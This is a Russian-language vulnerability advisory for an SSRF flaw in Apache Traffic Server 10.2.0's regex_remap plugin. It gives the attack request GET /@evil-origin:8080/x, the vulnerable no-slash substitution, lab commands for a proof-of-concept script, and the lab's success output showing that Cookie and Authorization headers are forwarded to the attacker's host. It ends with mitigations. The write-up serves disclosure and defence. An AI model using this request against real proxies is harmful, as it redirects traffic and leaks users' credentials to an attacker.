
Apache Traffic Server 10.2.0 — высокий уровень — удалённо — SSRF — regex_remap noslash $n userinfo origin takeover
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
Класс: SSRF Доступ: Удалённый
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
Подстановка $n в regex_remap конкатенируется в строку и передаётся в TSUrlParse, который выполняет url_clear, а затем разбирает её как полный URL. Захват, начинающийся с @, является userinfo по RFC 3986, поэтому origin оператора становится userinfo, а хост атакующего — origin. Cookie и Authorization пересылаются как uid ATS.
Остаток — http://origin:port$1 (без слэша). Документированный вариант http://origin/$1 остаётся на origin оператора, поскольку слэш завершает authority. Плагин не загружается по умолчанию.
Это не CVE-2026-58179 (url_len VLA, теперь LocalBuffer) и не CVE-2026-22068 (ядро regex_map полностью заякорено).
| ID | CVE пока нет |
| Класс | SSRF |
| Доступ | Удалённый (неаутентифицированный HTTP) |
| CWE | CWE-918 |
| CVSS | Высокий: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Продукт | Apache Traffic Server |
| Затронуто | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so noslash $n |
| Аутентификация | нет. Плагин загружен. Подстановка http://origin:port$1. |
| Лицензия | GNU Affero GPL v3.0 |
| Лаборатория | только 127.0.0.1:18730. Образ ats-10.2.0-lab:local. |
Я зафиксировал тег 10.2.0, коммит b1df7334b39a878971c376da849e8da4984918b6. Образ собран из исходников.
Неаутентифицированный HTTP к vhost, чей remap загружает regex_remap.so с $n непосредственно после host:port, без слэша.
| Метод | Точка сброса | Привилегия |
|---|---|---|
GET /@evil-origin:8080/x с подстановкой http://good-origin:8080$1 | TSUrlParse после url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327) | Целостность / SSRF (подтверждено в лаборатории): ATS обращается к evil-origin:8080 как к origin (userinfo=good-origin:8080). Cookie и Authorization пересылаются. |
| То же | тело от origin атакующего | Разведка (подтверждено в лаборатории): ATS-REGEX-REMAP-USERINFO-WITNESS возвращается клиенту. cookie-fwd=True authorization-fwd=True. |
Документированная подстановка http://good-origin:8080/$1 | authority завершается на / | Закрыто (подтверждено в лаборатории): осталось на good-origin. |
Подстановка http://$1 | оператор поместил $n в authority | SSRF (подтверждено в лаборатории): также достигнут evil-origin. Другая ошибка оператора. |
Подтверждено в лаборатории vs выведено: остаток без слэша, документированный вариант со слэшем остаётся, dollar-at / dollar-host также ведут на evil, Cookie и Authorization пересылаются, контрольный /ok на good-origin: лаборатория. Что origin атакующего может сделать с этими заголовками — это то, чем этот хост уже является.
Требуется: плагин regex_remap. Карта с подстановкой http://origin:port$1 (без слэша). remap_required остался 1 (не открытый релей).
| Поверхность | Лаборатория |
|---|---|
Документированный http://origin/$1 | slash=good |
Хост ядра regex_map | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 закрыт) |
| Стек url_len | LocalBuffer (CVE-2026-58179 закрыт) |
Открытый релей remap_required: 0 | не используется |
КОНТРОЛЬНЫЙ GET /ok | good-origin, без witness |
regex_remap строит строку dest из $n и вызывает TSUrlParse для всей строки целиком. URL.cc @ — это userinfo. Соедините http://good-origin:8080 + @evil-origin:8080/x, и парсер сделает ровно то, что предписывает RFC 3986.
Сначала я попробовал задокументированную форму. http://good-origin:8080/$1 с путём /@evil-origin:8080/x превращается в http://good-origin:8080/@evil-origin:8080/x. Слэш завершает authority. Остались на good-origin. Это не тот остаток.
Затем http://good-origin:8080$1 (без слэша). Dest http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Свидетель на evil origin. Cookie и Authorization пришли вместе с ним.
Неверные пути: подача задокументированной формы со слэшем; трактовка core regex_map как этого плагина; раздувание url_len VLA (исправлено); трактовка http://$1 как единственного остатка (это вторая ошибка оператора, а не ошибка без слэша).
Театр: reverse shell. Оракул — это тело origin плюс переданные Cookie / Authorization.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
или
cd lab
./run.sh
Loopback 127.0.0.1:18730 (вредоносный origin также опубликован на 18731). Проект Compose ats-regex-remap-userinfo. Образ ats-10.2.0-lab:local. Три vhost: slash / noslash / dollar. Свидетель ATS-REGEX-REMAP-USERINFO-WITNESS. Последняя строка:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
Не конкатенируйте $n в authority. Оставляйте слэш между хостом и захватом или разбирайте subst как путь. Отклоняйте dest, хост которого не является origin оператора. Удаляйте userinfo из URL, построенных плагином. Документация не должна подразумевать, что http://origin/$1 — единственная форма, которую пишут операторы.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc TSUrlParse после substURL.cc @ userinfoInkAPI.cc TSUrlParse